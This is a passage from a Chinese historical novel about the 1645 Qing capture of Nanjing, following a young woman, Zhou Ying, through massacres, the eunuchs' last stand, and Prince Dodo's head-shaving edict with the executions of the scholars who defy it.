后半夜危机如影随形,她路过另一座遭清军洗劫的村庄,差点身陷绝境。被迫从布满尸体的沟渠里爬过,血腥与淤泥混合的浓烈恶臭不可名状,不少人还有气息余温。一旁叽里呱啦的满语好似地狱魔咒,令人心惊肉跳,面对上方刚丢下来的尚未断气的村民,她第一反应是静卧装死…… 逃到麦田里,不远处的村镇火光腾天,红霞贯地,房屋好似破灯笼,树木犹如铁炮仗,倒塌声连续不断。 她伏在田垄下,遥见一队清军将成群男女驱赶至田边,抽打声、呵斥声中,人们被迫跪成数排。 清军挥刀劈斩,一时怆呼乱起,众□□啼,哀鸣震心。 周瑛强忍泪水,握拳透爪,可惜她救不了任何人,更怕被四处搜查的清军发现。 左侧的田里,上百匹清军战马正低头啃食麦子,她急中生智,匍匐爬过去,顺着马腿间的缝隙,在一匹匹战马的肚子下艰难穿行。 身旁的战马不时喷着响鼻,随意挪动铁蹄,她大气不敢透,浑身肌肉绷紧,如履薄冰般谨慎。 一旦马群受惊,她定被踏成肉泥。 清军屠完人,各自归队休整,任由战马在田里放牧。 周瑛等到各处人籁俱尽,悄悄钻出马群,背着尚未熄灭的火海惶惶逃亡。 不知跑了多久,她瘫在深山老树下,像个被掏空的口袋。 耳朵里嗡嗡作响,方才战马的响鼻、人们的惨嚎、清军的欢笑、火场里的崩塌,还有自己凌乱的气息,一起化作轰鸣。 她低头,看见手背上糊着干涸的血泥,指甲缝里嵌满黑垢,衫袖裙摆被划得稀烂。 这才察觉自己闻起来既像牲口又像死人。 一路上躲躲藏藏,走走停停,眼看东方既白,天际微亮,她误打误撞来到了南京城东南外的大校场。 前方山坡顶着一片红云,走近了认出是座高大的石榴树林。 花开得如火如荼,云蒸霞蔚,比她家院子里的石榴花更繁盛,火红的花瓣在晨风中翩翩飘落。 她确认坡上无动静,猫着腰往上爬,不久闻到花香与铁锈、火药混合的气味…… 坡下横七竖八倒卧着大量明军的尸体,其间散落若干鸟铳,有的士兵双手握铳,至死保持着射击的姿势。 是神机营。 她认出阵亡军士的编制,心中的悲伤却被眼前的奇诡景象震住了。 死者身上落满石榴花,火红的花瓣与殷红的鲜血交融,像给大地盖了一条红艳艳的毯子。 花瓣还在不断落下,此刻江南的石榴想必都是这样落红成阵。华夏的子民,竟也正如这般血流成河。 敌人在南京城周边设下天罗地网,难民们插翅难飞,好些人说城里的大官已率众投降,清军声明不会屠城,目前回到城中相对来说更安全。 周瑛走投无路,随稠密的人流来到最近的正阳门。 城门如兽口大开,城墙、门楼上下的守卫果真都换成了清军,士兵暂时收敛杀气,却不忘敲诈勒索。 周瑛学着旁人,用污泥抹脏面颊,老实交出身上所有值钱物件,总算躲过了兵卒的非礼。 可城内并非传言中安全。 街衢上散落着众多残破衣物和翻倒的货摊,一些不守规矩的清军挨家抢劫,刀刃劈砍木门的巨响与妇人儿童的哭嚎随处可闻。 周瑛心急如焚地往家中赶,在大中桥撞见一队胡作非为的清军。他们咿哩哇啦地比画着向过路行人逼索财物,一个书生只少少辩解了两句,刀光乍闪,头颅落地,鲜血溅了周围人满身。 人们尖叫四散,周瑛被追急了,跟着几个平民纵身跃入路边的小河沟,拼命游到对岸,上岸后继续狂奔。 那伙清军纵马追赶,马蹄翻作雷鸣,他们兴奋地大呼小叫着,显然专挑年轻女子劫掠。 周瑛慌忙躲进一条宽阔的巷子,两旁人家尽数关门闭户,无处可躲。 绝望之际,右前方一座门口摆着两尊石狮子的大宅门 “哐啷”大开,一群手持武器的老少男子乌泱泱涌出来。 他们须发怒张,杀气腾腾高举着长剑、砍刀、柴刀、菜刀、铁锹、锄头、斧子、铁锤,棍棒,潮水般朝她迎面冲锋。 周瑛急忙贴墙避让,这群人无视她,纵声嘶喊着,浩浩荡荡杀向清军。 他们都没穿长袍,只着短衫,头上也无巾帽,分不出主仆贵贱,个个同仇敌忾,勇往无前。 周瑛无暇细想,火速避入这座宅院,穿过雕饰精美的垂花门,连滚带爬冲进正堂,跨过门槛的刹那,立马被室内情景吓得一跤跌坐。 屋梁上赫然悬挂着十几个衣饰华丽的女子,有垂髫稚女,青葱红颜、半老徐娘、鹤发太君,皆面容安详,裙袖垂落宛若衰败的花。 居中一位老夫人身着蓝缎平金绣蟒袍,脚下歪倒的凳子旁躺着一顶摔碎的点翠垒丝金凤冠,掉落的珍珠宝石滚了一地。 室内冷如冰窖,静得可怕,连窗外的暑气与喊杀声都被逼退了。 周瑛仿佛从烈火狱一脚穿越到寒冰狱,本已无以复加的恐惧更上一层楼。 这些贵妇穿戴整齐,从容自缢,仿佛做了一场庄重的告别,也是对宅邸外孤注一掷与清军死战的男人们的有力助威。 她原以为改朝换代不会改变尊卑秩序,以为豪绅勋贵们只会献城投降,卖主求荣,可是这个拥有蟒袍凤冠、石狮守门,被皇权认可的显赫家族竟主动选择了灭门绝户。 看来权贵中也有宁为玉碎的忠臣烈女。 她箭步穿过剩下的四重院落,随处可见刚死的仆妇婢女。 树桠间悬着僵直的身影,墙角下卧着脑浆迸裂的躯体,更有甚者手握剪刀、发簪自刎而亡,或是持刀互戕搂抱气绝,血流满地,不忍卒读。 她头皮发麻,手脚冰凉,奔至最后一重院落,几个婢女正满地打滚嚎叫,捂肚抓胸,七窍淌出黑红的血泡,脸面乌青发黑,情态狰狞可怖,一旁落着几只打碎的铅粉盒。 周瑛一股寒意从脚底直窜天灵盖,来不及喘息,忽听近处有人嘤嘤低泣。 右手三丈外,一个十四五岁的清俊小丫鬟正蹲在大井的井沿上,颤抖着望向她。周瑛从未见过那样绝望的表情,方寸大乱,呆若木鸡。 那丫鬟陡然发出一声雏鸟垂死般的悲号,身子向前一倾,坠入井中。落水声后紧接着是哗啦啦的挣扎声。 周瑛冲到井边下望,那丫鬟正在水中拼命扑腾,旁边有三四个已经溺亡的女人,彩色的衣袍和乌黑的头顶在水波中起伏荡漾。 她无力营救垂死的丫鬟,心中悲苦,身后突然传来叽叽咕咕的满语吆喝,如同阎罗的勾票。 后门已被木锥钉死,徒手摇不开。她急忙踩着太湖石翻墙,跳进后巷,朝较短的左侧巷子飞跑。 高墙隔绝了追兵的呼喝声,方才的见闻仿佛来自另一个世界。 她用力吸了几口气,巷子里只听得见她粗重的呼吸,和远处隐约传来的、不知起源的哭声。 回家!必须回家! 这个念头像鞭子驱赶着她,迫使她一刻不停前进。 返家的路途步步惊心,不管她多么小心在意,一个单身少女在行人寥寥的街上行走还是太引人注目,终于在会同桥被一路清军拦获。 这支清军人多势众,看队伍少说一二百人,披坚执锐排列得还算整齐,却掩不住那股征服者的嚣张气焰。 军队中间夹着几十个年轻女子,有奇装艳服的妖娆妓女,也有端庄朴素的老实民妇,瞧着都是本地人,神态清一色瑟缩恐惧。 她被一个清军用长矛胁迫着走到女人队伍里,经过的清军都不怀好意盯着她笑,眼神猥琐露骨。 一个三十多岁、头戴满帽的男人小跑过来。 这人长相精明市侩,围着周瑛上下打量,似在评估货品。半晌,才皮笑肉不笑地开口,用地道的徐州话安抚:“小娘子莫怕,这些将士是多铎王爷的亲兵。王爷今晚要在宫里举行纳降宴,请你们去侍宴,你乖乖听话,事后重重有赏。” 周瑛栗栗自危,明白自己和这些女子将被送入虎狼窝,当下反抗必死,暂且假装顺从,跟着队伍向皇城前进,沿途不停寻找逃生机会。 眼看已进入长安街,朱墙宫楼遥遥在望,脱身希望渐趋渺茫。 她心若焚膏,魂不守舍,一旦进了宫必将受辱。她骨子里流着武将的血,绝不能任人宰割,到时定要尽力杀几个鞑子垫背,一 雪国仇家恨。 转念间又牵挂家人,弟弟是否平安逃脱?父亲还安好吗?今生一家人怕是难再相见了。这般念及,心头滴血,同周围女人一道奄然垂泪。 冷不防几声铳响,前排两名清军应声栽倒。众人如遭雷击,相顾骇然, 领队将领抽出腰刀,用满语尖声狂喊,叫声难掩慌乱。 士兵们如梦初醒,赶紧端起火铳、挺起长矛,摆出迎战架势,四下张望,再不见先时的蛮横。 周瑛自幼观看父亲操练军事,在铳响一刻便俯身躲避,并大声提醒女子们:“是火铳!快爬下!” 话音未落,街道两侧的铳响已如除夕鞭炮般连珠炸响,浓浓硝烟在街巷间织起成片灰雾。 清军惨叫连连,三三两两倒在血泊中。 周瑛眼疾手快,拽住身旁两个吓傻的民妇,领着她们半蹲着躲到右边店铺门前的粗大立柱后。 对面房顶上数十个穿青黑圆领袍的身影正持铳射击,有的戴乌纱帽,有的戴小帽,手中鸟铳火舌喷吐,是最精良的“五雷神机”。 她这方的屋顶同样枪声大作,震得屋檐发颤,碎瓦砾混着硝烟簌簌直坠。 清军阵脚大乱,抓过身旁的女子做盾牌。尖叫声中,大半女子中弹殒命。 周瑛又恨又急,却只能死死按住身旁民妇的头,缩在立柱后不敢妄动。 附近守卫巡查的清军闻声驰援,跫音踏得青石板轰隆作响,犹如兽群来袭。他们举着单发火绳铳,与房顶上的宦官们对射。 铳弹尖啸着掠过街巷,打在墙壁上溅起碎屑,打在立柱上留下深痕。房顶上不断有伤亡的宦官滚落。其中一个裹着碎瓦灰尘摔在周瑛右前方不足半丈的街面上。 那宦官至多弱冠年纪,左肩受伤,血点似密雨洒落。他借着惯性打了个滚,挣扎着爬起来,不顾伤痛,拔出腰间佩刀,嘶吼着杀向清军。 周瑛看到他遗落的折断的鸟铳托把上刻着:“崇祯三年北京军器局 御马监”。 蓦地,街道两旁的店铺、民宅门窗刷然打开,大批宦官从中跃出,青黑服色间夹杂着几道醒目的绯色,那是穿深红圆领袍、头戴乌纱翼善冠的大太监。 当中一位老太监仗剑连声高呼:“拼死杀敌!报效朝廷!” 听口音是北方人。 周瑛看他奋勇当先,身形矫健毫无老态,刀光一闪先劈倒一名清军,身手之了得,比父亲年轻时不遑多让。 其他宦官也多是高手,进退有度,配合默契,显见平日训练有素。 周瑛料想这是御马监的提督太监与腾骧四卫的随驾宦官,皇宫人去楼空,明室群龙无首,他们八成是自发组织起来抗敌的。 激战引来更多清军,街巷霎时被挤得水泄不通,宦官们寡不敌众,伤亡渐增,但无一人退缩,更无一人投降。 有的被长矛刺穿身体,仍死死抱住敌人啃咬。有的身负重伤,便毅然自刎,宁死不向蛮夷屈服。 那领头的老太监浑身浴血,体无完肤,被刀枪剑戟团团围困,仍殊无惧意,凛然仰天畅笑:“先帝爷,老奴为您尽忠啦!” 说罢白刃绕颈,三尺红练飞出,直挺挺倒下了。 街上杀声渐疏,硝烟慢慢散去,但见满地尸体与淋漓的鲜血。 周瑛躲在立柱后,心恍神慌,汗泪尚未擦干,清军已过来捉拿,将她和那两个民妇拽到街上,与剩余几个没受伤的幸存女子集中起来。 那说徐州话的降奴躲得快,竟安然无恙,被清军吆喝召来,仍命他管理被征民女。 那狗贼心有余悸,战战兢兢,带着哭腔安慰女子们:“诸位娘子都是善人,大难不死必有后福!” 坐镇的清将另派数十个兵押送他们,走出不远,迎面一路清军骑兵快马驰来,虏狗忙领女子们让道。 那为首的清将带队勒马,用半生不熟的汉话喝问:“尔等是什么人?” 周瑛抬眼望去,这清将面骨嶙峋,眉淡眼细,目光锐似秃鹫,鹰钩鼻下薄唇紧抿,透着一股天生的狠戾,身形不算魁梧,却十分精壮彪悍。 虏狗屁颠颠上前请安,周瑛听他称呼那清将“萨将军”。 虏狗奉承清将几句,转身招呼她们过去行礼,谄媚介绍:“这是萨布素萨将军,多铎王爷最器重的护军营统领,更是满洲鼎鼎有名的‘巴图鲁’。” 周瑛知道“巴图鲁” 是后金授予战功卓著者的荣誉称号,多用来称呼清军的中高级将领或精锐士兵。 这萨布素必是员猛将,手上不知沾了多少汉人的血。 虏狗向萨布素献殷勤:“萨将军,方才逆贼作乱,小的们征集的五十名女子只剩这些了,不过模样都是最标致水灵的,要不您先挑一个带回去?” 萨布素欣然点头,视线逐一扫过女子们,锁定在周瑛身上,笑意玩味。 汉奸即刻灵醒地握住周瑛的胳膊,使劲往萨布素马前拖拽,连哄带骗:“萨将军看上你了,往后可是享不尽的荣华富贵,还不快磕头谢恩!” 周瑛愤恨难忍,拉扯中杀心顿起,想先拿这狗汉奸开刀。 萨布素见她反抗,面色骤冷,伸手按住腰间刀柄。 千钧一发时,骑兵后方一个女人高声喝喊:“住手!” 周瑛见柳如是快步奔来,惊疑迷惑如堕梦中。 又见她身后坠着庞大的人群,都是南京城的大臣与官眷,包括钱谦益等昔日的明朝高官。 这些人今早向清军俯首称降,此刻身上虽穿着明朝的官服,却都摘了乌纱帽,活像掐尖的白菜,无精打采,满脸屈辱。 “瑛娘,你没事吧?” 柳如是赶来握住周瑛的手,她丝毫无惧萨布素的威势,仰头郑告:“此女是我的学生,还请将军将她归还与我。” 钱谦益匆匆赶来,他原想劝柳如是莫要造次,见她面若霜雪,拒不理睬,只好转而向萨布素拱手作揖,低声下气求情:“萨将军,贱内无知,还望将军海涵。此女的确是贱内的弟子,恳请将军容情宽释。” 萨布素瞥了钱谦益一眼,冷笑:“钱大人的面子,本人自是要给的。” 轻轻挥了挥手,“把人领回去吧。” 周瑛得脱虎口,顾不得反感投降派们,悄声问柳如是:“钱夫人,你们怎么在这里?” 柳如是蹙眉:“牧斋先生怕官眷们有危险,把人都聚集起来保护了,你暂时跟我们待在一处吧。” 对话中清军拖着十几具战死宦官的尸体从旁经过。萨布素看了看尸体,问虏狗:“这些就是刚才作乱的反贼?” 虏狗不住哈腰:“回将军的话,正是这些不知死活的阉党逆贼!” 萨布素轻蔑地看着钱谦益,公然嘲讽:“看来明朝的太监比大臣们有骨气啊。” 钱谦益像挨了无数耳光,老脸红成两页猪肝,羞愧得转身低头。 柳如是脸色更冷了。 周瑛看到钱谦益胸前补服上那只高傲的金翟此刻像瑟瑟待宰的病鸡。 她耳畔还回荡着方才的铳响、呼喝与惨叫,眼前挥之不去的是那些青黑与绯色的骁勇身影,视死如归的眼神,以及老太监最后那声震彻街巷的呐喊。 她自幼被灌输“士大夫为社稷支柱、宦官为宫廷仆役”,过去常听文官们将宦官视为乱政的祸根,动辄在朝堂、文牍中口诛笔伐,言辞刻薄至极。 而今却看到这些饱受世人轻视、鄙薄的宦官,在国破之际用血肉践行忠君誓言。反观钱谦益这些身居高位、饱读圣贤书的官员却向清军屈膝,背弃了 “文死谏、武死战” 的臣子操守。 她敬佩殉难宦官们的勇义,对过去的偏见深感愧疚。而萨布素轻蔑的眼神、嘲讽的语气,不仅是对降臣的贬低,更是对全体汉人尊严的践踏,让她为国家的沦丧、同胞的屈辱痛心疾首。 她跟随柳如是融入降臣官眷的队伍中,意外遇见马世奇母子。二人浑身缟素,眼眶都肿成桃子,周瑛不问也知道马应魁已死在扬州城了。 一行人被清军驱至三山门码头,河风卷着秦淮河水的腥气扑面而来。 码头上已聚集上万百姓,上至豪绅巨贾,下至贩夫走卒,乃至娼优乞丐,全都缩头耸肩沿河岸站成黑压压的一片。 靠码头栈桥的一边被清军圈出晒谷场大小一块空地。 现场人多却出奇安静,谁都不敢高声说话,在清军利刃威慑下,连交头接耳的现象都几乎绝迹。 等了约莫一炷香工夫,南岸扬起漫天烟尘,马蹄声汹汹滚过桥面。 一队衣着华贵的清军骑兵疾驰而来,最前一杆帅旗明黄耀眼,绣着狰狞的黑色龙纹,在风里张扬招展。 骑兵们皆穿黄马褂、挎虎头弯刀,胯下战马的鞍鞯镶金嵌玉,数十人动作整齐划一,威猛强悍,面含久历沙场的肃杀之气。 俄顷,十几个带刀侍卫簇拥一名中年男子穿过人群中开辟的通路,大摇大摆走来。 那人身着明黄色满洲常服袍,箭袖紧束,外罩一件石青色织金补服,腰间系着嵌东珠的玉带,脚下马靴沉稳有力的踏过青石板。 他体格微胖,面容开阔,眼神矍铄,颇有不怒自威的霸者风范。 男人来到空地上,坐在一把铺了黄丝垫的太师椅上,侍卫们伫立两侧,好不威风。 周瑛看清他袍子上绣着四爪金龙纹,猜他就是本次清军南下的主帅,努尔哈赤的第十五子多铎了。 果听一个穿满洲马褂的降奴快步上前,扬声冲众人喊道:“诸位乡老乡亲!这位便是大清豫亲王多铎王爷,当今圣上的亲皇叔,尔等速速上前拜见!” 鼠辈们闻声跪倒,磕头如捣蒜。 其余人受清军胁迫,勉为其难下跪,也不知该行何种礼仪,胡乱磕了三个头,动作僵硬得俨如提线木偶。 多铎抬手虚按,中气十足地说出一口流利汉话:“尔等无需惶恐。天道轮回,社稷更迭,从来非人力所能逆反。我大清自太祖皇帝起兵,一统关外,至太宗皇帝开疆拓土,再到当今圣上承继大统,皆是顺应天命,人心所向。本王率军南下,原欲兵不血刃,安抚江南百姓,让尔等免受刀兵之苦。” 说到此处,他口风一变,峻峭道:“奈何部分顽固宵小,执迷不悟,负隅顽抗,连累无辜百姓遭此兵燹之祸。扬州城下,尸横遍野,皆因这些人不识时务,妄图以卵击石,最终害了自己,也害了乡邻。” 许多人胆怯流泪,许多人垂头丧气,少数人信以为真,周瑛和大部分人敢怒不敢言。 多铎顿了顿,瞥一眼站在人群最前方的降臣们,语气缓和了些:“幸得钱谦益等有识之士,深明大义,率南京官民归顺。大清向来宽厚,爱民如子,既已纳降,便不会妄动刀兵。从今往后,于民秋毫无犯,城中百姓可照常耕作生息,官吏依旧续职,商户照旧经营。尔等只需抛却前明旧念,真心效忠大清,遵守大清规制,日后必能安居乐业,丰衣足食,比在朱明苛政下好过百倍千倍!若有人敢违抗天命,暗通逆党,本王必定严惩不贷,绝不姑息!” 老百姓们之前担心是被清军骗来杀头的,听了多铎的话不禁暗呼侥幸,赶忙磕头谢恩。 不料多铎一记回马枪:“本王尚有天子圣旨一道,关乎尔等身家性命,今日当众宣读,务必谨记!” 一名侍从快步上前,双手捧着明黄圣旨,毕恭毕敬展开,清了清嗓子,以尖利却清晰的嗓音念道:“告示四方百姓知悉:今大清已定南京,统驭江南。朝廷有令:凡汉人男子,尽行剃发,改为满洲发式,前颅剃光,后颅留发编辫,限十日内完成!” 此言一出人群登时炸开锅,人们左顾右盼,不知所措。 侍从并未停顿,语气加倍严厉:“敢有不剃者、剃而不尽者、私留长发者,一律以逆命论罪!须知剃发则为顺民,官府不加侵扰,买卖耕作如常;不剃则为反贼,查获之日,一刀两断,家产充公,邻里不举者同罪!本府已派官兵、剃发匠沿街巡查,愿剃发者速至指定地点,免费剃发。抗拒者,当场正法,勿谓言之不预!顺治二年四月十七日示!” 那句“当场正法”像利刃架在众人脖颈间,再也没人能淡定了,大家无视清军武力威胁 ,集体释放压抑已久的恐惧与愤怒。 “不可!万万不可啊!” “头发受之父母,岂能随意剃去?” “老天爷,这还让不让人活呀?” “真剃头,我情愿去做和尚!” “是呀,剃了头我还有何颜面去见祖宗呀!” …………………… 周瑛身为女子也出离愤怒,在汉人心中“身体发肤,受之父母,不敢毁伤,”是刻在骨子里的礼仪。发式衣着是华夏文脉的象征,是区别于蛮夷的标志。 百姓们可以接受明朝败亡,愿意承认满人做皇帝,但让他们剃去前颅、留辫如满,无异于让他们背弃祖宗、自甘堕落,这是比死还残酷的迫害。 先前的侥幸和感恩戴德皆成泡影,每个人都因绝望愤怒相互议论,大胆反对,空气变得紧张而辛辣。 降臣们猝不及防,同样慌了手脚,他们原以为归顺后便能保全身家、维系尊荣,万没料到清廷会悍然抛出剃发令。 这可不是寻常政令,是动摇汉人根本的礼教之争啊! 大臣们七嘴八舌窃窃急议。 “这如何使得!剃发乃汉家大忌,百姓必拼死抗拒!” “王爷方才许诺秋毫无犯,此刻骤然行此严令,民心必乱!” “若强制推行,我等先前的归顺之举,反成助纣为虐了!” ……………… 争执中左都御史李沾被众人强行推出来谈判。 他无从推脱,强自定了定神,整了整弄皱的官袍,步履虚浮地走过去,“扑通”跪倒在多铎面前,额头触地,惶恐哀求:“罪臣李沾,斗胆恳请王爷三思!” 多铎冷傲回应:“李大人有话请讲。” 李沾咽了口唾沫,叩首道:“王爷方才代圣谕言大清爱民如子,欲与江南百姓共享太平,臣等与万民无不感念朝廷和王爷的仁 慈。只是这剃发令,实乃万万不可啊!我汉人自古便有‘身体发肤,受之父母,不敢毁伤’的祖训,如今万民已然归顺,甘愿臣服大清,天子何忍令他们背弃祖宗、毁坏名节?” “再者。” 他抬眼偷瞄多铎一眼,见对方神色未变,又赶忙低头,“王爷率军南下,原为平定江南、安抚民心。若强推剃发令,百姓必视之为奇耻大辱,轻则惶恐不安,重则奋起反抗。届时民心动摇,烽烟再起,非但有损大清仁慈之名,更不利于满汉和睦共处,朝廷岂非得不偿失?” 他再次磕了个响头,高声求告:“罪臣恳请王爷上禀天子,收回剃发令,或暂缓推行。大清既已入主江南,何惧百姓保留发式?只要朝廷善待子民,百姓自然感恩戴义,虔心归顺,何必拘泥于毛发琐事,寒了万民之心啊!” 降臣们见机一齐跪倒附和:“恳请王爷三思!”、“愿王爷以民心为重!” 老百姓们跟着跪求,磕头流血,哭音成籁。 多铎泰然自若,轻轻一笑便令现场肃静。 他起身向前踱了两步,看着跪拜的降臣与骚动的百姓,语气竟比先前温和了几分,耐着性子哄劝:“李大人,还有诸位乡邻,莫要惊慌,尔等都曲解了朝廷的心意。陛下让尔等剃发,绝非恶意刁难,而是为了让天下归一,成个体统。如今江南已定,尔等皆是大清的臣民,臣民当遵君制。若天子与八旗子弟着满洲衣冠,尔等却仍守前明旧俗,一国之内,衣冠各异,岂合君臣之道?尔等汉人最重三纲五常,君为臣纲,君有令,臣当从。如今大清为君,尔等为臣,效仿君之衣冠发式,正是恪守纲常的体现,尔等说是不是这个道理?” 这番话令在场汉人无比屈辱难堪。 士绅们是纲常伦理的直接受益者与捍卫者,一生研习儒家伦理,以 “恪守纲常” 为立身之本。 多铎精准拿捏了这一点,将剃发与“君为臣纲”绑定,等同于说“不剃发就是违背纲常、不忠不义”,让他们陷入自相矛盾的困境,又深恐争辩会触怒清廷,殃及自身。 百姓们对 “三纲五常” 的理解只停留在 “要听皇帝的话”、“要孝顺父母” 的浅层认知。他们只知道 “头发不能剃”,却不知道如何反驳违逆纲常的严重罪名,全都茫然无措,口中讷讷无言。 周瑛愤怒思忖:“三纲五常” 本是约束君臣权责的伦理,君要仁,臣要忠,如今却被曲解为 “臣下必须无条件服从君王的所有要求”,连衣冠发式都要强行统一。 可见鞑子蛮横粗暴,往后断不会守道德,施仁政,礼崩乐坏,即在眼前。 多铎游刃有余接续道:“本王虽为满人,却也少少读过几本史书。魏晋时北方异族入主中原,推行胡服、胡俗,治下的汉人照样耕作生息,安稳过活。所谓‘五胡乱华’,可乱着乱着,最后不都合同为一家了嘛?” 他呵呵笑着,像在引领众人展望光辉前景,循循善诱道:“《春秋》有云:‘夷狄入中国,则中国之;中国入夷狄,则夷狄之。’ 古来异族入主中原,融入华夏的先例还少吗?他们能让百姓顺应新俗,安居乐业,为何我大清就不能?” 说到此处,他语气微微下沉,威挟质诘:“那些异族能做的,我大清为何不可?尔等先前能接受魏晋胡俗,能接受唐宋改制,怎么到了我们满人这里,不过是换个发式、易个衣冠,尔等就如此抗拒?” 身临刀俎,谁敢应答? 天有日而无光,民虽生譬如死,世界像个永不醒来的噩梦。 “王爷此言谬之千里!” 一声怒喝打破僵局,人群愕然耸动,上百个老少参半的儒生先后挤出来,个个怒发冲冠、义愤填膺。 周瑛认出喊话的青衫老者,他是明道书院童蒙班的授课先生何鹏飞,宗保、马世奇都是他座下弟子。 何鹏飞挣脱身旁士子阻拦,迈开阔步进入空地,往日微驼的后背挺得笔直,目光灼灼直刺多铎:“王爷引三纲五常为据,却不知其核心乃‘权责对等’,而非臣子对君主单方面的盲从!孔孟早有明训:君使臣以礼,臣事君以忠。昔年禹汤文武,以仁政待民,方得万民拥戴;桀纣暴虐,丧失民心,终落得身死国灭!如今王爷以刀兵相胁,强令我汉家子弟剃发易服,这是‘君使臣以礼’吗?凭此便要我等事君以忠,岂不是毁坏纲常!” 多铎抚弄左手拇指上的玉扳指,面冷如铁。 李沾吓得魂飞魄散,欲要呵斥,何鹏飞昂首奋扬,持续抗议。 “更遑论王爷曲解《春秋》,‘夷狄入中国,则中国之’,不是要华夏屈从夷狄习俗,而是说夷狄若能遵华夏之礼、行华夏之制、奉华夏之文脉,方可入我华夏疆土,为天下之主!昔年北魏孝文帝迁都洛阳,改汉姓、穿汉服、兴儒学,方得后世认可。反观元蒙,坚守蒙古旧俗,歧视汉民,终不过百年便土崩瓦解!王爷如今强推剃发令,要我等背弃祖宗衣冠,这哪里是‘中国之’,分明是以夷代华,亵渎圣人之道!” “大胆腐儒!竟敢污蔑王爷、犯上作乱!” 先前那名阿谀谄媚的降奴厉声喝骂,妄图讨好多铎。 何鹏飞怒目相向,见解更加掷地有声,“我华夏向以仁政包容远人,而非以暴政欺压边民。唐太宗招降突利可汗,不夺其部众,反开互市以安其民,更将哥舒瀚、李光弼等异族子弟纳入禁军,终成一代名将,传为华夷共融之佳话。我大明开国以来,安置归附蒙古部落于北疆,授其官职、许其安居。阳明先生平定西南土司,不专恃武力,反兴办书院、广施教化,让蛮夷子弟知礼明义。这才是真正的华夷一体、天下归心!” 他抬手直指多铎,合着血泪控诉:“可王爷看看你们大清!扬州十日,屠我数十万无辜百姓。如今到了南京,不思安抚民心,反而强推剃发令!这不是华夷相安,是赤裸裸的暴政!是要断我汉家文脉、毁我华夏根基!” 多铎端坐椅上,脸色黑沉,始终未发一言,只略略动了动手指。 身旁侍卫立刻会意喝骂:“老匹夫不知死活!拿下,就地斩首!” 两名清军提着刀快步上前,何鹏飞临危不惧,反而转身朝百姓奋声疾呼:“何鹏飞死不足惜!然华夏衣冠不可丧,汉家文脉不可断!鞑子能杀我一人,还能杀尽天下千千万万守节之士吗?乡亲们!头发是父母所赠,衣冠是华夏之根,万万不可退让啊!” “保护何先生!” 跟随何鹏飞出列的儒生们齐声呐喊,围成一道人墙,将何鹏飞护在中央。更多读书人挺身加入,年轻学子挡在最前,年迈老儒站在身后,子衿相叠,共筑长城。 “冥顽不灵!既然都想死,便成全你们!” 侍卫统领怒喝一声,发号施令,“全部拿下,一同问斩!” 刀枪逼近,儒生们无一退缩,有人抓起地上的碎石掷向清军;有人高唱文天祥的《正气歌》;有人紧紧攥着头上的儒巾;还有人向远处的亲友,乃至茫然无措的百姓们从容郑重地深深揖拜。 大刀起落,人头滚滚,上百人转眼丧命,陈尸血泊。 周瑛跪在人群中泪如雨下,之前她只想在乱世里求一份安稳,让全家人能好好活下去。可此刻何鹏飞与儒生们的鲜血彻底击碎了这份幻像。她终于看清鞑子要的不是取而代之,而是摧毁汉人的衣冠、文脉与尊严。强迫汉人背弃祖宗、忍辱偷生。 看着卫道者倒在屠刀下,她满心痛惜与自责。痛惜他们为守气节流血牺牲,自责曾经苟且度日的侥幸。 遇害儒生的家属们呼天抢地,哭声震天,许多人冲进刑场抚尸大恸。 白发老妪哭儿,新婚少妇抱夫,稚子幼女唤父,景象惨绝人寰。百姓观者无不落泪,连个别在远处站岗的清军也忍不住摇头叹 息。 一些胆小的男子被磨刀霍霍的清军吓坏了,不住偷瞄空地旁的剃头棚,想主动从命,无一例外遭到身边亲友痛斥。 一位老父揪住蠢蠢欲动的儿子,耳光抽得啪啪响:“数典忘宗的东西,敢剃头就别认我这个爹!” 一名中年妇人死死拉住想去剃头的丈夫,撒泼哭喊:“夫君不能去啊!今日你若剃了发,叫我和孩子们如何做人?一家人还不如一起死了算了!” 周围百姓也纷纷投来鄙夷的目光,交口唾骂。 当此情形谁若就范,势必众叛亲离,懦夫们只得抱头坐地,听天由命。 多铎对这一切置若罔闻,狠戾发令:“道理本王已说透了!今日留发不留头,留头不留发!尔等不听本王劝告,便是自绝于王化,自断其生路!扬州的昨天,便是南京的明日!” 这赤裸裸的威胁已效力大减。儒生们的鲜血唤醒了百姓心底的血性,越来越多的人站起来反抗,试图突破清军的封锁强行离去。 周瑛身旁一个小贩红眼怒吼:“孝廉、秀才们是为我们死的!读书人都不怕死,我一个小老百姓怕什么!今日砍头可以,剃发休想!” 多铎不为所动,坐视手下将激进的抗议者一个个拖出来枭首,弹指间,又有上百颗人头落地。 腥风阵阵,血污狼藉,风号云泣,鸟兽同悲。 可清军越是残暴凶恶,百姓们越不肯退缩,愤怒的呐喊声压过了哭声,连老弱妇孺都燃起斗志。 有人怒斥降臣们:“你们这些官老爷拿着朝廷俸禄,却坐视看百姓受苦,还配做人吗!” 降臣们面红耳赤,羞愧难当,更怕事态失控酿成哗变,招致全城大屠杀。 他们你推我搡,成群结队跪到多铎面前,磕头流血,竭力求饶,请他宽限时日,暂缓剃发令。 多铎铁了心要给汉人一个下马威,对此全然不理。 钱谦益被这尸横覆地、血流成川的惨状和百姓愤怒的咆哮、凄厉的哭喊,牵动恻隐。快 步赶到空地中央,冲混乱的人群挥舞双手,高喊:“乡亲们!都静一静!听我一言!” 骚动稍稍平息,无数愤恨、悲伤、怨怒、绝望的目光汇聚过来。 钱谦益眼眶泛红,加意温和道:“乡亲们,老夫知道你们心里苦,可再这样盲目顽抗只会死更多的人,流更多血啊!” 他抬手拭了拭眼角,语气更为恳切:“事已至此,莫再固执了!所谓识时务者为俊杰,人要学会变通嘛。大家先前没试过剃头,故而心生抵触,可你们细想,剃了发,各家的祖宗还是那个祖宗。房子田产、老婆孩子也还是你们的。” 他抬手摸了摸自己的胡须,绞尽脑汁消除人们的抵触:“再说,胡子也是父母给的,可平日里刮刮修修,大家不都觉得理所当然吗?头发和胡子本是一样的道理,何必要为此拼上性命,闹到妻离子散、家破人亡?” 见人群中有人面露迟疑,他趁热打铁,提高声调表态:“若你们一时半会儿接受不了,那便让老夫来起这个头!老夫不是要大家背弃祖宗,只想乡亲们能保全性命,活着,才有念想,才有将来啊!” 他说完马不停蹄地转去请示多铎:“罪臣愿为先驱,遵奉大清法度,恳请王爷即刻安排人为罪臣剃发,以安民心。” 多铎满意微笑,颔首道:“到底是钱大人有见地,顾大局,那就请吧。” 钱谦益在一片抽气声和惊奇的目光中,拖着沉重的步伐,故作镇定地走到空地中央的凳子上坐下。 